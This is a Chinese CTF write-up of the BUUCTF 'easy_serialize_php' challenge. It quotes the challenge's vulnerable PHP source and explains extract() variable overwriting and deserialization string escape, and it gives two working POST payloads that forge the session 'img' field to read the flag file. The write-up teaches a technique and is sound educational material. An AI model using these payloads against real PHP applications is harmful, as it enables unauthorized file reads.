- [安洵杯 2019]easy_serialize_php
- 这是BUUCTF上的一道题
知识点
- extract()变量覆盖
- php反序列化字符逃逸
源码分析
//index.php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
- 有提示
eval('phpinfo();'); //maybe you can find something in here!
,当$function == 'phpinfo' 时就会执行phpinfo(),又发现$function = @$_GET['f'];
,访问/index.php?f=phpinfo
有发现
猜测flag就在
d0g3_f1ag.php
文件里面,但是直接访问/d0g3_f1ag.php
没有任何反应,继续判断应该要用index.php中的file_get_contents(base64_decode($userinfo['img']))
函数来打开,即让index.php执行file_get_contents(d0g3_f1ag.php)
- 接下来就要使
base64_decode($userinfo['img']) = d0g3_f1ag.php
,也就是$userinfo['img'] = ZDBnM19mMWFnLnBocA==
- $userinfo 是由 $serialize_info 反序列化得来的,$serialize_info 是由 $_SESSION 序列化后的字符串又经过 filter() 函数过滤后得来的,所以我们的关键是要 使
$_SESSION['img'] = ZDBnM19mMWFnLnBocA==
//index.php的部分代码
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
由上面代码可知,
$_SESSION['img']
是不可控的,即我们没有办法直接自定义它的值,那怎么办呢?分析后又发现
extract($_POST);
,这个的作用是将 $_POST 数组的键值当成变量(建议自己去搜),例如$_POST['a'] = 'abc'
,经过extract($_POST)
处理后,就有了$a = 'abc'
,那可以用post方法传入_SESSION['img'] = ZDBnM19mMWFnLnBocA==
吗?还是不可以的,因为在index.php中,extract($_POST)
的执行顺序在上面代码块之前,也就是说我们可以用extract($_POST)
来给_SESSION['img']
赋值,但是它的值后面就又被覆盖了要解决这个问题就要用到php反序列化字符逃逸的知识,这是本题的关键点
extract()
- 先学习一下extract()函数
$_SESSION['a'] = 'a';
$_SESSION['b'] = 'b';
extract($_GET);
$_SESSION['c'] = 'c';
$_SESSION['d'] = 'd';
var_dump($_SESSION);
- 我用get方法传入
?\_SESSION[e]=e
,结果为array(3) { ["e"]=> string(1) "e" ["c"]=> string(1) "c" ["d"]=> string(1) "d" }
- 这就看出问题了,前面两个值 a 和 b 消失了
php反序列化字符逃逸
- 反序列化的对象逃逸问题一般根据过滤函数分为两种:关键词数增加 和 关键词数减少
- 关键字增加一般是将关键字替换为其他字符串,例如将
where
替换weihacker
- 关键字减少一般是被过滤掉一些关键词,比如在这道题里面是将
flag
替换为空,关键字减少又分为键逃逸和值逃逸
键逃逸
- 以本题为例,如果我用post方法写入
_SESSION['flag'] = 'abcd'
,序列化后的字符串为a:1:{s:4:"flag";s:4:"abcd";}
,经过 filter()函数 过滤后flag
被替换为空,变成a:1:{s:4:"";s:4:"abcd";}
,";s:
这四个字符成为了键,这是由于本来的键的名称是flag
,长度是4,当flag
被替换为空后,就要往后数4个字符,取出来作键名,原本在falg
后面的四个字符就被拿出来当成键名了 - 如果我写入
_SESSION['flagflag'] = '";s:1:"a";s:3:"img";s:4:"abcd'
,经过 filter()函数 过滤后的序列化字符串为a:1:{s:8:"";s:29:"";s:1:"a";s:3:"img";s:4:"abcd";}
,这就变成了含有两个元素的数组,即array('";s:29:"' => 'a', 'img' => 'abcd')
,(其实这里最前面的a:1
有点问题,它表示后面有一个键值对,但这里明明有两个,思考一下,后面再解决) - 注意这里不容易理解,建议自己用代码实现一下
- 如果上面理解了,看这里,我们留了一个问题,就是
a:1
那个,现在我们解决一下。我用post方法写入_SESSION['flag'] = 'abcd'&_SESSION['user'] = 'ABCD'
,再输出serialize($_SESSION)
,过滤后的序列化字符串为a:2:{s:4:"";s:4:"abcd";s:4:"user";s:4:"abcd";}
,var_dump()一下,得bool(false)
,报错了,很明显是因为格式错误 - 输入
_SESSION['flagflag'] = '";s:1:"a";s:3:"img";s:4:"abcd";}'&_SESSION['user'] = 'ABCD'
,过滤后的序列化字符串为a:2:{s:8:"";s:32:"";s:1:"a";s:3:"img";s:4:"abcd";}";s:4:"user";s:4:"abcd";}
(注意大括号的闭合,多余的部分已经没有用了),将他反序列并var_dump()一下,得array(2) { ["";s:32:""]=> string(1) "a" ["img"]=> string(4) "abcd" }
,是不是发现我们虽然没有直接传入_SESSION['img']
,但是我们却间接的控制了它 - 总结一下我们是如何解决
extract($_POST)
传入的_SESSION['img']
不被后面代码覆盖的。看这里,_SESSION['flagflag'] = '";s:1:"a";s:3:"img";s:4:"abcd";}'
,我们在最后传入了一个;}
它将取代原本最后面的}
来闭合前面的{
,这就导致index.php在后面传入$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
的时候把$_SESSION['img']
作废了,及不能够覆盖前面我们传入的的img的值了
//exp
_SESSION[flagphp]=;s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
值逃逸
- 值逃逸与键逃逸原理相同,只不过值逃逸是需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对,而键逃逸只需要一个键值对就行了,直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
//exp
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
//注意最后还有s:2:"dd";s:1:"a";,这是因为序列化的时候总共有3个键值对,我们也应该凑齐3个
总结
- php反序列化字符逃逸的利用条件:可传入的序列化字符串,有合适的序列化字符串过滤函数
- 注意extract()函数,可能存在变量覆盖的漏洞